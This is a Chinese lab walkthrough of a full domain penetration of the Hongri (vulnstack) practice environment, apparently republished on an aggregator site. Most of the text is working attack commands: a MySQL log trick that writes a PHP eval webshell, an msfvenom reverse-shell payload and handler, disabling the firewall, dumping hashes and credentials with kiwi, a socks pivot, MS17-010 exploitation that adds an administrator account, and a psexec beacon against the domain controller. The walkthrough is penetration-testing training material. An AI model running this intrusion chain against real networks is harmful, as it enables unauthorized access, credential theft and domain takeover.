内网域渗透总结——红日靶场①

2023-12-09 06:10

本文主要是介绍内网域渗透总结——红日靶场①,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文笔生疏,措辞浅薄,望各位大佬不吝赐教,万分感谢。

一、环境搭建

  • 红日靶场:http://vulnstack.qiyuanxuetang.net/vuln/detail/2/
  • 靶机通用密码:hongrisec@2019
kali+CS
192.168.43.33
win7----admin@123
外网:192.168.43.17
内网:192.168.52.143
可以Ping通外网
通192.168.52.138(win2008)
通192.168.52.141(win2003)
小皮必须是自带的,下载的新版本会导致kali机连接目标失败
问题原理:自行理解
win2008---admin@123
192.168.52.138
win2003---admin@123
192.168.52.141
内网两台不出网win互通
win7开启phpstudy
win11访问80端口得到phpstudy探针

二、外网渗透

信息收集

端口扫描

nmap -A -p -min-rate 10000 192.168.43.17
#发现开启了80,3306端口
#访问发现80端口是php探针
#得到了探针的绝对路径 C:/phpst2016/WWW/l.php

 

目录爆破

dirsearch -u http://192.168.43.17
#出了一些有用信息
#phpMyadmin,phpinfo.php,l.php,

访问phpMyadmin

#发现是一个后台界面
#直接弱口令登录成功
root root

弱口令登录成功

拿到webshell

#通过日志文件写入一句话来获取webshell:
#写入webshell-网站根目录下shell,把日志log改为php
SET global general_log = 'ON'
SET global general_log_file= 'C:/phpst2016/WWW/shell.php'
select "<?php eval($_POST['111']);?>"

​​​

蚁剑连接shell.php

#打开蚁剑
#新建连接
#输入URL:http://192.168.43.17/shell.php
#输入密码:111

信息收集

#发现目标存在yxcms,尝试访问
#在首页发现了后台地址和管理员账密

进入yxcms后台

#网址输入:http://192.168.43.17/yxcms/index.php?r=admin
#admin 
#123456

利用文件上传

蚁剑连接

#小提一下,马子上传了,不知道马子绝对路径怎么办?
#前面我们不是发现phpstudy文件夹下存在beifen.rar
#猜测应该是yxcms的备份文件
#解压之后,可通过查找acomment.php文件来确定文件上传的路径
#/yxcms/protected/apps/default/view/default

​​


#URl:http://192.168.43.17/yxcms/protected/apps/default/view/default/cmsshell.php

至此,已经拿到Webshell

三、后渗透

后渗透阶段,当我们已经将小马上传到web服务器上时,可以用webshell管理工具进行下一步渗透了。

蚁剑终端关闭win7防火墙

#关闭win防火墙
netsh advfirewall set allprofiles state off 
#查看防火墙配置状态
netsh advfirewall show allprofile state 

 

msf生成exe并开启监听

#kali创建后门程序
msfvenom -p windows/x64/meterpreter_reverse_tcp LHOST=192.168.43.33 LPORT=10888 -f exe -o 233.exe #蚁剑上传233.exe
#蚁剑终端运行233.exe#kali开启监听,设置sessions
use exp/multi/handler
set payload windows/x64/meterpreter_reverse_tcp 
set lhost 192.168.43.33
set lport 10888
run

​​

 

拿到win7shell

#尝试提权   
#因为是administrator用户,
#所以很容易提权成功。
shell
getuid
getsystem
getuid

利用msf进行内网信息收集

chcp 65001         ---可解决乱码问题
route print        ---锁定内网C段
net time /domain   ---锁定域控192.168.52.138
net user /domain   ---锁定域内五个账户
ipconfig /all      ---锁定域名
net view           ---锁定域内主机
net group "domain admins" /domain     ---查询域管理员------------
域名:god.org
域内五个用户:Administrator、Guest、liukaifeng01、ligang、krbtgt
域内三台主机:OWA(win2k8)、ROOT-TVI862UBEH(192.168.52.141)、STU1(win7)
域控:OWA(192.168.52.138)
win7内网ip:192.168.52.143
------------

hashdump

hashdump    ---导出本地用户账号密码,该命令的使用需要系统权限。

#CMD5解密
---#hash解密为空:
---#因为当系统为win10或2012R2以上时,
---#默认在内存缓存中禁止保存明文密码,密码字段显示为null,
---#需要修改注册表等用户重新登录后才能成功抓取。

抓取域内账密

#利用msf的kiwi模块+system权限
load kiwi         #加载kiwi模块
help kiwi         #查看kiwi模块的使用
creds_all         #列举所有凭据
creds_kerberos    #列举域内账密 Administrator  admin@123

CS上线win7

#楼楼用的是tools的CS
#CS的基本使用楼楼就不做多说明了
#kali机作为服务端,本地win11为客户端
#服务端启动
./teamserver  192.168.43.33 123456 
# 这里的ip是服务端ip,后续客户端连接此ip登录
win11:
直接运行runcatcs.vbs即可(仅限windows),
其他系统执行:java -jar cat_client.jar client#设置监听器
#生成木马-->artifactHRmsf.exe

#蚁剑上传artfactHRmsf.exe到win7
#运行木马程序
#CS上线成功

#简单提权
elevate   ---#提权成功
sleep 1  ---#设置回弹时间间隔

四、横向渗透

为了让 msf 能访问内网的其他主机,即 52 网段的攻击流量都通过已渗透的这台目标主机(Win7)的meterpreter会话来传递,需要建立socks反向代理。

socket代理

#添加代理
run autoroute -s 192.168.52.0/24  # 添加内网的路由
run autoroute -p                  # 查看路由

#开启代理
background   #将此会话保存为一个sessions
use auxiliary/server/socks_proxy
set VERSION 4a
set SRVPORT 9080
set SRVHOST 127.0.0.1
run
jobs    #运行后挂起一个job

#修改配置文件
#在proxychains的配置文件
vim /etc/proxychains4.conf
#​添加本机的1080端口:
socks4 127.0.0.1 1080
#ping 域内成员

漏洞扫描

#利用nmap对域内主机进行漏洞扫描
nmap --script=vuln 192.168.52.141
nmap --script=vuln 192.168.52.143
nmap --script=vuln 192.168.52.138
#发现都存在ms17_010漏洞

msf利用ms17-010

search ms17-010
use 2
set RHOST 192.168.52.141/143/138
set COMMAND net user
run
#发现除了win7。win2k3,win2k8都可以利用成功

​win7利用失败

尝试给域控win2k8添加管理员

#添加管理员
set  COMMAND net user awy233 awy@233 /add
set COMMAND net user
set COMMAND net localgroup administrators awy233 awy@233 /add
set COMMAND net localgroup administrators
#添加成功,但3389毫无反应

尝试开启域控3389端口

#关闭防火墙
set COMMAND netsh advfirewall set allprofiles state off 
#3389
set COMMAND wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1
set COMMAND REG ADD HKLM\SYSTEM\CurrentControlSet\Control\Terminal" "Server /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
#登不上,不知道为什么

五、利用SMB Beacon拿下域控

#使用条件:
#具有 Beacon 的主机必须接受 445 端口上的连接。
#只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
#必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。#新建监听器
#payload选择Beacon SMB#右键域控,选择psexec攻击
#设置参数#成功

这篇关于内网域渗透总结——红日靶场①的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/472743

相关文章

java常见报错及解决方案总结

《java常见报错及解决方案总结》:本文主要介绍Java编程中常见错误类型及示例,包括语法错误、空指针异常、数组下标越界、类型转换异常、文件未找到异常、除以零异常、非法线程操作异常、方法未定义异常... 目录1. 语法错误 (Syntax Errors)示例 1:解决方案:2. 空指针异常 (NullPoi

Java反转字符串的五种方法总结

《Java反转字符串的五种方法总结》:本文主要介绍五种在Java中反转字符串的方法,包括使用StringBuilder的reverse()方法、字符数组、自定义StringBuilder方法、直接... 目录前言方法一:使用StringBuilder的reverse()方法方法二:使用字符数组方法三:使用自

Python依赖库的几种离线安装方法总结

《Python依赖库的几种离线安装方法总结》:本文主要介绍如何在Python中使用pip工具进行依赖库的安装和管理,包括如何导出和导入依赖包列表、如何下载和安装单个或多个库包及其依赖,以及如何指定... 目录前言一、如何copy一个python环境二、如何下载一个包及其依赖并安装三、如何导出requirem

Rust格式化输出方式总结

《Rust格式化输出方式总结》Rust提供了强大的格式化输出功能,通过std::fmt模块和相关的宏来实现,主要的输出宏包括println!和format!,它们支持多种格式化占位符,如{}、{:?}... 目录Rust格式化输出方式基本的格式化输出格式化占位符Format 特性总结Rust格式化输出方式

Python中连接不同数据库的方法总结

《Python中连接不同数据库的方法总结》在数据驱动的现代应用开发中,Python凭借其丰富的库和强大的生态系统,成为连接各种数据库的理想编程语言,下面我们就来看看如何使用Python实现连接常用的几... 目录一、连接mysql数据库二、连接PostgreSQL数据库三、连接SQLite数据库四、连接Mo

Git提交代码详细流程及问题总结

《Git提交代码详细流程及问题总结》:本文主要介绍Git的三大分区,分别是工作区、暂存区和版本库,并详细描述了提交、推送、拉取代码和合并分支的流程,文中通过代码介绍的非常详解,需要的朋友可以参考下... 目录1.git 三大分区2.Git提交、推送、拉取代码、合并分支详细流程3.问题总结4.git push

Kubernetes常用命令大全近期总结

《Kubernetes常用命令大全近期总结》Kubernetes是用于大规模部署和管理这些容器的开源软件-在希腊语中,这个词还有“舵手”或“飞行员”的意思,使用Kubernetes(有时被称为“... 目录前言Kubernetes 的工作原理为什么要使用 Kubernetes?Kubernetes常用命令总

Python中实现进度条的多种方法总结

《Python中实现进度条的多种方法总结》在Python编程中,进度条是一个非常有用的功能,它能让用户直观地了解任务的进度,提升用户体验,本文将介绍几种在Python中实现进度条的常用方法,并通过代码... 目录一、简单的打印方式二、使用tqdm库三、使用alive-progress库四、使用progres

Android数据库Room的实际使用过程总结

《Android数据库Room的实际使用过程总结》这篇文章主要给大家介绍了关于Android数据库Room的实际使用过程,详细介绍了如何创建实体类、数据访问对象(DAO)和数据库抽象类,需要的朋友可以... 目录前言一、Room的基本使用1.项目配置2.创建实体类(Entity)3.创建数据访问对象(DAO

Java向kettle8.0传递参数的方式总结

《Java向kettle8.0传递参数的方式总结》介绍了如何在Kettle中传递参数到转换和作业中,包括设置全局properties、使用TransMeta和JobMeta的parameterValu... 目录1.传递参数到转换中2.传递参数到作业中总结1.传递参数到转换中1.1. 通过设置Trans的